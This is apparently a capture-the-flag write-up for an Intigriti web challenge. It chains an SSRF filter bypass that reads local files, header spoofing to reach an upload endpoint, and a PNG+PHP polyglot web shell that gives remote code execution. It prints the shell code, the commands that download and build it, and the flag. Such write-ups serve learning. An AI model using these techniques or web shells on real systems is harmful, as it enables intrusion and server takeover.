Challenge Overview
This was a web challenge that started with an SSRF vulnerability and ended with getting a shell through a broken file upload. The challenge URL was https://challenge-1025.intigriti.io
.
Finding the SSRF
I started by fuzzing the URL input form. The error messages gave away that the backend was using PHP with cURL: cURL Error: <message>
My first attempt was file:///etc/hostname
, which got rejected with "Invalid URL: must include 'http'". The validation was naive - it just checked if the string "http" appeared anywhere in the URL. Adding ?http
to the end bypassed it completely, and I could read /etc/hostname
:
# file:///etc/hostname?http
challenge-1025-b8d89db6b-pz589
Reading Apache Config Files
I needed to figure out what was running. A request to https://challenge-1025.intigriti.io/flag.txt
came back with an Apache error page, so now I knew the web server.
Apache typically serves sites from /var/www/html
, so I pulled the challenge script first with file:///var/www/html/challenge.php?http
. Nothing interesting there.
Since Apache keeps its configs in /etc/apache2/sites-enabled/
and the default is 000-default.conf
, I tried to retrieve it using the SSRF.
<VirtualHost *:8080>
DocumentRoot /var/www/html
<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
<Directory /var/www/html/uploads>
Options -Indexes
</Directory>
<Directory /var/www/html/public>
Options -Indexes
</Directory>
<Files "upload_shoppix_images.php">
<If "%{HTTP:is-shoppix-admin} != 'true'">
Require all denied
</If>
Require all granted
</Files>
</VirtualHost>
This config told me several things. The DocumentRoot
confirmed where the site files lived. Options Indexes
meant directory listing was enabled for the main directory but disabled for uploads/
and public/
. AllowOverride All
meant .htaccess
files would be processed. The interesting part was the <Files>
block - there was an upload endpoint at upload_shoppix_images.php
, but it required the is-shoppix-admin: true
HTTP header.
Getting to the Upload Form
I configured my MITM proxy to inject the header on every request:
is-shoppix-admin: true
With that in place, I could access https://challenge-1025.intigriti.io/upload_shoppix_images.php
.
I tried uploading a simple PHP shell (<?php system($_GET['cmd']); ?>
), but it got blocked with ❌ Invalid file format
.
Analyzing the Upload Code
I used the SSRF again to pull the upload script source: file:///var/www/html/upload_shoppix_images.php?http
The validation code had a few issues:
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
// ...
The problem was that mime_content_type()
only checks the file's magic bytes, not the actual content. The filename validation used stripos()
, which just checked if .png
, .jpg
, or .jpeg
appeared anywhere in the filename - it didn't care what came after. The basename()
call prevented directory traversal, but it still allowed double extensions like file.png.php
.
Bypassing the Upload Filter
I downloaded a PHP shell and created a polyglot file that was both a valid PNG and valid PHP:
curl -L https://github.com/flozz/p0wny-shell/raw/refs/heads/master/shell.php -o shell.php
convert -size 1x1 xc:white bandjes.png
cat shell.php >> bandjes.png
mv bandjes.png bandjes.png.php
This works because the file starts with PNG magic bytes (satisfying mime_content_type()
), the filename contains .png
(satisfying stripos()
), and Apache will execute it as PHP because of the .php
extension.
I uploaded bandjes.png.php
and accessed it at https://challenge-1025.intigriti.io/uploads/bandjes.png.php
. The shell executed.
Note: I had to alter the shell a bit to get the AJAX loading working.
I explored the filesystem by starting in the root and found a file named /93e892fe-c0af-44a1-9308-5a58548abd98.txt
:
# cat /93e892fe-c0af-44a1-9308-5a58548abd98.txt
INTIGRITI{ngks896sdjvsjnv6383utbgn}
There it was! ⛳️
Attack Chain
The full attack chain was:
- SSRF through weak URL validation (bypassed with
?http
) - Read Apache config via
file://
protocol - Found upload endpoint protected by custom header
- Spoofed
is-shoppix-admin
header - Bypassed upload filters with polyglot PNG+PHP file
- Got RCE, retrieved flag